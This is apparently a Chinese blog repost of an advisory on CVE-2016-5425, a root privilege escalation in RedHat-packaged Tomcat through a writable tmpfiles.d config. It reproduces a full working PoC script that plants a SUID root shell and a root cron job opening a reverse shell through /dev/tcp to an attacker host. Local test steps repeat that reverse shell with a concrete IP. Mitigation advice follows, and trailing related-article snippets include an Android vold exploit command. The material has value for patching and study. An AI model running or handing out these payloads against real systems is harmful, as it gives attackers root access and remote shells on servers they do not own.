基于RedHat发行的Apache Tomcat本地提权漏洞

描述

Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞。2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425。此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。

漏洞描述

基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下

[[email protected] ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
-rw-rw-r--. 1 root tomcat 43 May 12  2015 /usr/lib/tmpfiles.d/tomcat.conf

tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。

在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:

[[email protected] www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf

根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。

C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1

POC

-----------[ tomcat-RH-root.sh ]---------
  
#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#
  
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
  
echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e  "  Discovered by Dawid Golunski\n"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep ‘tomcat‘
if [ $? -ne 0 ]; then
    echo "Not vulnerable or tomcat installed under a different user than ‘tomcat‘"
    exit 1
fi
echo -e "\n[+] Your system is vulnerable!"
  
echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root -
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n"
_eof_
  
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "\n[+] Payload injected! Wait for your root shell...\n"
echo -e "Once ‘/usr/bin/systemd-tmpfiles --create‘ gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
the rootshell will be created in /usr/share/tomcat/rootsh. 
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n"
 --------------[ eof ]--------------------

本地测试:

1.先确定下本地LINUX发行版本和TOMCAT版本。

2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中

cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & \n\n"
_eof_

3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]

[[email protected] Desktop]# /usr/bin/systemd-tmpfiles --create

4.获取反弹ROOT权限的SHELL

漏洞影响

攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。

影响的版本

CentOS

Fedora

Oracle Linux

RedHat

Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425

解决办法

临时修复建议

可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。

chmod 644  /usr/lib/tmpfiles.d/tomcat.conf

更新最新Tomcat包

Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。

参考

http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html

http://legalhackers.com/exploits/tomcat-RH-root.sh

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425

https://access.redhat.com/security/cve/CVE-2016-5425

http://bobao.360.cn/learning/detail/3090.html

时间: 2024-10-24 22:23:15

基于RedHat发行的Apache Tomcat本地提权漏洞的相关文章

android ioctl fuzz,android 本地提权漏洞 android root

目前正在研究android 三方设备驱动 fuzzer , 也就是下图所说的 ioctl fuzzing, 下图是由keen team nforest 大神发布: 欢迎正在研究此方面的人联系我共同交流进步!Email:  Blind Fuzz Smart Fuzz android 内核栈溢出android slab/slub 类堆溢出android 数组越界导致的复写内核中的重要数据android 内核信息泄漏android null pointer deference 空指针引用android

/dev/socket/vold exploit 本地提权漏洞

EXPLOIT "0 asec create ../../../../../../../../xxxxx/xx/xx/xx 1 ext4 98235792350852308254872354983460 2000 1" /dev/socket/vold 分析中... 一起研究分析  /dev/socket/vold exploit 本地提权漏洞

脏牛Linux本地提权漏洞复现(CVE-2016-5195)

学习该漏洞的原因: 总是看到圈子里一位老哥发文章使用这个漏洞来提权,进过测试发现centos比较难提取,而Ubuntu是比较好提权的. 漏洞范围: Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复) 危害: 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 简要分析: 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空

Ubuntu16.04 本地提权漏洞复测过程

一.漏洞概述 Ubuntu 16.04 版本且unprivileged_bpf_disable 权限没有关闭的情况下就会存在 提权漏洞查看方式:1,cat /proc/version 查看系统版本 2,查看是否存在unprivileged_bpf_disable文件,如果存在该文件,查看文件内容是否为1,若不是1,则存在漏洞 二.漏洞验证 1,下载poc文件 upstream44.c下载地址:http://cyseclabs.com/exploits/up ... mp;isappinstall

Linux内核本地提权漏洞(CVE-2019-13272)

漏洞描述 kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制). 一个影响因素是对象寿命问题(也可能导致恐慌). 另一个影响因素是将ptrace关系标记为特权,这可以通过(例如)Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用.获取root权限. 影响版本 Linux Kernel < 5

CVE-2015-1328(本地提权漏洞)

/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328 (http:

小白日记21:kali渗透测试之提权(一)--本地提权

本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器后,可以利用他进入更高的状态.但并不是说这种漏洞不严重.难以利用,往往这种漏洞更容易被利用.带来的后果比远程漏洞更可怕,这种漏洞实际上远比远程漏洞稀有,往往一个微软本地提权漏洞在国外的价格就可以到几百万美金.因为远程漏洞其实是很普遍的,一个网站存在网页问题,就可能被篡改,传入WEBSHELL(一种控制网站机器

本地提权

权限提升就是将某个用户原来拥有的最低权限提升到最高.已实现本地低权限账号登陆. windows下user,administrator,system administrator的权限包含user的所有权限.system的权限要大于administrator,一些文件和注册表是administrator无法查看的,但是administrator和user的一点点的权限,system是不具备的. linux下,除了root用户以外全是user用户.root用户相当于windows下的administr

kali权限提升之本地提权

系统账号之间权限隔离 操作系统的安全基础 用户空间 内核空间 系统账号: 用户账号登陆时候获取权限令牌 服务账号无需用户登录已在后台启动服务 windows用户全权限划分: Users:普通用户组,Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料 Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权.分配给该组的默认权限允许对整个系统进行完全控制 System:拥有和Administr